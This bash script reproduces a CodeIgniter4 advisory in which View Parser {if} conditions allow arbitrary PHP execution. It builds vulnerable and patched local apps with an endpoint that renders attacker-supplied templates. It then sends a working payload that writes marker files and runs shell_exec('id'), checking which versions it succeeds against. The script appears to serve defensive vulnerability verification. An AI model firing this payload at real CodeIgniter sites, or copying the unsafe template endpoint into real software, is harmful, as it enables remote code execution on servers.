#!/bin/bash
# GHSA-4q58-jw8x-8cm7 - CodeIgniter4 < 4.7.5 View Parser conditional tags
# allow arbitrary PHP code execution in user-editable templates.
#
# Stands up two real CodeIgniter apps served via `php spark serve`:
#   * vulnerable  : v4.7.4, POST /render renders attacker template via
#                   service('parser')->setData(...)->renderString($template)
#   * fixed       : v4.7.5, same endpoint; per-render option
#                   restrictConditionals=true neutralizes the payload while
#                   restrictConditionals=false (default) remains exposed,
#                   matching the advisory note that upgrading alone is not
#                   sufficient.
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$ROOT/artifacts"
HTTP_DIR="$ARTIFACTS/http"
MARKERS="$REPRO_DIR/markers"
mkdir -p "$LOGS" "$REPRO_DIR" "$HTTP_DIR" "$MARKERS"
cd "$ROOT"

REPO_URL="https://github.com/codeigniter4/CodeIgniter4.git"
VULN_APP="/pruva/project-cache/repo"
FIXED_APP="$ARTIFACTS/ci475"
VULN_TAG="v4.7.4"
FIXED_TAG="v4.7.5"
VULN_PORT=8090
FIXED_PORT=8091
VULN_PID=""
FIXED_PID=""
RESULT="not_confirmed"

kill_port() {
    local port="$1" pids
    pids="$(pgrep -f "php.*-S localhost:${port}" || true)"
    [ -n "$pids" ] && kill $pids 2>/dev/null || true
}
cleanup() {
    [ -n "$VULN_PID" ] && kill "$VULN_PID" 2>/dev/null || true
    [ -n "$FIXED_PID" ] && kill "$FIXED_PID" 2>/dev/null || true
    kill_port "$VULN_PORT"
    kill_port "$FIXED_PORT"
}
trap cleanup EXIT

echo "=== GHSA-4q58-jw8x-8cm7 reproduction ==="

# --- 1. Dependencies -------------------------------------------------------
if ! command -v php >/dev/null 2>&1 || ! command -v composer >/dev/null 2>&1; then
    echo "[*] Installing PHP CLI + composer ..."
    sudo apt-get update -qq
    sudo apt-get install -y -qq php-cli php-mbstring php-intl php-xml php-curl \
        php-sqlite3 unzip composer
fi
php -v | head -1
composer --version

# --- 2. Source checkouts ----------------------------------------------------
# project_cache_context.json: prepared=true -> vulnerable checkout lives at
# <project_cache_dir>/repo; the fixed checkout is a per-run artifact.
checkout_tag() {
    local dest="$1" tag="$2"
    if [ ! -f "$dest/composer.json" ] \
        || [ "$(git -C "$dest" describe --tags 2>/dev/null || true)" != "$tag" ]; then
        echo "[*] Checkout $tag -> $dest"
        rm -rf "$dest"
        git clone -q --depth 1 --branch "$tag" "$REPO_URL" "$dest"
    fi
}
checkout_tag "$VULN_APP" "$VULN_TAG"
checkout_tag "$FIXED_APP" "$FIXED_TAG"
VULN_SHA="$(git -C "$VULN_APP" rev-parse HEAD)"
FIXED_SHA="$(git -C "$FIXED_APP" rev-parse HEAD)"
echo "[*] vulnerable commit: $VULN_SHA ($VULN_TAG)"
echo "[*] fixed commit:      $FIXED_SHA ($FIXED_TAG)"

# Patch-hunk sanity: vuln must lack the restriction, fixed must contain it.
if grep -q "restrictParserConditionals\|isRestrictedCondition" "$VULN_APP/system/View/Parser.php"; then
    echo "[-] vulnerable checkout unexpectedly contains the patch"; exit 1
fi
grep -q "isRestrictedCondition" "$FIXED_APP/system/View/Parser.php" \
    || { echo "[-] fixed checkout missing isRestrictedCondition()"; exit 1; }
echo "[+] patch-hunk sanity OK (vuln lacks fix, fixed has it)"

# --- 3. Composer install ----------------------------------------------------
for app in "$VULN_APP" "$FIXED_APP"; do
    if [ ! -f "$app/vendor/autoload.php" ]; then
        echo "[*] composer install ($app)"
        (cd "$app" && composer install --no-dev --no-interaction --quiet)
    fi
done

# --- 4. Attacker-template endpoint in both apps -----------------------------
install_endpoint() {
    local app="$1"
    cat > "$app/app/Controllers/TemplateRender.php" <<'PHP'
<?php

namespace App\Controllers;

class TemplateRender extends BaseController
{
    public function render()
    {
        // Attacker-controlled template source, e.g. an online template editor.
        $template = (string) $this->request->getPost('template');
        $options  = [];
        if ((string) $this->request->getPost('restrict') === '1') {
            $options['restrictConditionals'] = true;
        }
        try {
            $output = service('parser')->setData(['name' => 'world'])->renderString($template, $options);
        } catch (\Throwable $e) {
            return $this->response->setStatusCode(500)
                ->setBody('PARSER_EXCEPTION: ' . get_class($e) . ': ' . $e->getMessage());
        }

        return $this->response->setBody($output);
    }
}
PHP
    if ! grep -q "TemplateRender::render" "$app/app/Config/Routes.php"; then
        printf '\n$routes->post('"'"'render'"'"', '"'"'TemplateRender::render'"'"');\n' \
            >> "$app/app/Config/Routes.php"
    fi
    chmod -R u+w "$app/writable" 2>/dev/null || true
}
install_endpoint "$VULN_APP"
install_endpoint "$FIXED_APP"
echo "[+] POST /render endpoint installed in both apps"

# --- 5. Start services ------------------------------------------------------
rm -f "$MARKERS"/*.txt
export PRUVA_MARKER_DIR="$MARKERS"

# Kill stale servers from previous runs so the requested ports are free.
kill_port "$VULN_PORT"
kill_port "$FIXED_PORT"
sleep 1

# Run the PHP built-in web server directly (exactly what `php spark serve`
# execs: php -S localhost:PORT -t public/ system/rewrite.php) so $! is the
# server process itself and cleanup can kill it reliably.
start_server() {
    local app="$1" port="$2" log="$3"
    (
        cd "$app"
        CI_ENVIRONMENT=production PRUVA_MARKER_DIR="$MARKERS" \
            nohup php -S "localhost:${port}" -t "$app/public" \
            "$app/system/rewrite.php" > "$log" 2>&1 &
        echo $! > "${log}.pid"
    )
}
start_server "$VULN_APP" "$VULN_PORT" "$LOGS/vuln_server.log"
VULN_PID="$(cat "$LOGS/vuln_server.log.pid")"
start_server "$FIXED_APP" "$FIXED_PORT" "$LOGS/fixed_server.log"
FIXED_PID="$(cat "$LOGS/fixed_server.log.pid")"
echo "[*] server pids: vuln=$VULN_PID fixed=$FIXED_PID"

healthcheck() {
    local port="$1"
    for _ in $(seq 1 30); do
        if curl -sf -o /dev/null --max-time 3 "http://localhost:${port}/"; then
            return 0
        fi
        sleep 1
    done
    return 1
}
healthcheck "$VULN_PORT"  || { echo "[-] vulnerable app failed healthcheck";  cat "$LOGS/vuln_server.log";  exit 1; }
healthcheck "$FIXED_PORT" || { echo "[-] fixed app failed healthcheck";       cat "$LOGS/fixed_server.log"; exit 1; }
echo "[+] both apps healthy (GET / -> 200)"

# --- 6. Exploit -------------------------------------------------------------
# Conditional-tag payload: the {if ...} condition is attacker-controlled PHP
# that v4.7.4 splices into '<?php if (CONDITION): ?>' and eval()s.
make_payload() {
    local name="$1" token="$2"
    printf '{if (file_put_contents(getenv(%s).%s,%s)!==false) && print(shell_exec(%s))}COND_BRANCH_OK{endif}' \
        "'PRUVA_MARKER_DIR'" "'/${name}.txt'" \
        "'GHSA-4q58-jw8x-8cm7 arbitrary PHP executed token=${token}'" \
        "'id'"
}

send_payload() {
    local port="$1" restrict="$2" name="$3" token="$4" outfile="$5"
    make_payload "$name" "$token" > "$HTTP_DIR/${name}_request.txt"
    curl -sS --max-time 15 -o "$outfile" -w "HTTP_STATUS:%{http_code}\n" \
        --data-urlencode "template@${HTTP_DIR}/${name}_request.txt" \
        --data-urlencode "restrict=${restrict}" \
        "http://localhost:${port}/render"
}

check_pwned() {  # name token response -> 0 if PHP executed
    local name="$1" token="$2" resp="$3"
    [ -f "$MARKERS/${name}.txt" ] \
        && grep -q "token=${token}" "$MARKERS/${name}.txt" \
        && grep -q "uid=" "$resp" \
        && grep -q "COND_BRANCH_OK" "$resp"
}
check_blocked() {  # name response -> 0 if neutralized
    local name="$1" resp="$2"
    [ ! -f "$MARKERS/${name}.txt" ] \
        && ! grep -q "uid=" "$resp" \
        && grep -q "PARSER_EXCEPTION" "$resp"
}

FAIL=0
echo "--- vulnerable app ($VULN_TAG, unrestricted Parser conditionals) ---"
for i in 1 2; do
    token="vuln${i}-$(date +%s%N)"
    send_payload "$VULN_PORT" 0 "vuln${i}" "$token" "$HTTP_DIR/vuln${i}_response.txt"
    if check_pwned "vuln${i}" "$token" "$HTTP_DIR/vuln${i}_response.txt"; then
        echo "[+] vuln attempt $i: arbitrary PHP executed (marker + id output in response)"
    else
        echo "[-] vuln attempt $i FAILED"; FAIL=1
    fi
done

echo "--- fixed app ($FIXED_TAG, restrictConditionals=true per render) ---"
for i in 1 2; do
    token="fixedr${i}-$(date +%s%N)"
    send_payload "$FIXED_PORT" 1 "fixedr${i}" "$token" "$HTTP_DIR/fixedr${i}_response.txt"
    if check_blocked "fixedr${i}" "$HTTP_DIR/fixedr${i}_response.txt"; then
        echo "[+] fixed-restricted attempt $i: payload neutralized"
    else
        echo "[-] fixed-restricted attempt $i FAILED"; FAIL=1
    fi
done

echo "--- fixed app ($FIXED_TAG, default: conditionals UNRESTRICTED) ---"
for i in 1 2; do
    token="fixedu${i}-$(date +%s%N)"
    send_payload "$FIXED_PORT" 0 "fixedu${i}" "$token" "$HTTP_DIR/fixedu${i}_response.txt"
    if check_pwned "fixedu${i}" "$token" "$HTTP_DIR/fixedu${i}_response.txt"; then
        echo "[+] fixed-unrestricted attempt $i: still exploitable (advisory note confirmed)"
    else
        echo "[-] fixed-unrestricted attempt $i FAILED"; FAIL=1
    fi
done

echo "--- vuln response excerpt ---";  head -c 400 "$HTTP_DIR/vuln1_response.txt";  echo
echo "--- fixed-restricted response excerpt ---"; head -c 400 "$HTTP_DIR/fixedr1_response.txt"; echo

# Stop servers so their logs are immutable before hashing.
cleanup; VULN_PID=""; FIXED_PID=""

# --- 7. Runtime manifest ----------------------------------------------------
if [ "$FAIL" -eq 0 ]; then RESULT="confirmed"; fi
export RESULT VULN_SHA FIXED_SHA REPO_URL VULN_TAG FIXED_TAG ROOT REPRO_DIR LOGS HTTP_DIR MARKERS
python3 - <<'PYEOF'
import hashlib, json, os

root = os.environ["ROOT"]
repo_url = os.environ["REPO_URL"]
vuln_sha = os.environ["VULN_SHA"]
identity = f"git:{repo_url}@{vuln_sha}"
target_digest = hashlib.sha256(identity.encode()).hexdigest()

proof = [
    "logs/vuln_server.log",
    "logs/fixed_server.log",
    "artifacts/http/vuln1_request.txt",  "artifacts/http/vuln1_response.txt",
    "artifacts/http/vuln2_response.txt",
    "artifacts/http/fixedr1_response.txt", "artifacts/http/fixedr2_response.txt",
    "artifacts/http/fixedu1_response.txt", "artifacts/http/fixedu2_response.txt",
    "repro/markers/vuln1.txt", "repro/markers/vuln2.txt",
    "repro/markers/fixedu1.txt", "repro/markers/fixedu2.txt",
]
hashes, existing = {}, []
for rel in proof:
    p = os.path.join(root, rel)
    if os.path.isfile(p):
        with open(p, "rb") as fh:
            hashes[rel] = hashlib.sha256(fh.read()).hexdigest()
        existing.append(rel)

manifest = {
    "entrypoint_kind": "endpoint",
    "entrypoint_detail": "POST /render -> App\\Controllers\\TemplateRender::render -> service('parser')->setData([...])->renderString($attacker_template)",
    "service_started": True,
    "healthcheck_passed": True,
    "target_path_reached": os.environ["RESULT"] == "confirmed",
    "runtime_stack": ["php-cli", "codeigniter4 spark serve (PHP built-in web server)"],
    "target_identity": {
        "repository_url": repo_url,
        "commit_sha": vuln_sha,
        "target_digest": target_digest,
        "platform": "linux",
        "architecture": "x86_64",
    },
    "proof_artifacts": existing,
    "artifact_sha256": hashes,
    "notes": ("v4.7.4 eval()s attacker {if} condition as PHP -> marker files written and "
              "shell_exec('id') output returned over HTTP; v4.7.5 with "
              "restrictConditionals=true throws ViewException::forRestrictedConditional; "
              "v4.7.5 default (unrestricted) remains exploitable per advisory."),
}
with open(os.path.join(root, "repro/runtime_manifest.json"), "w") as fh:
    json.dump(manifest, fh, indent=2)
print("[*] runtime_manifest.json written, result=" + os.environ["RESULT"])
PYEOF

if [ "$RESULT" = "confirmed" ]; then
    echo "=== RESULT: CONFIRMED - arbitrary PHP code execution via Parser conditional tags ==="
    exit 0
fi
echo "=== RESULT: NOT CONFIRMED ==="
exit 1
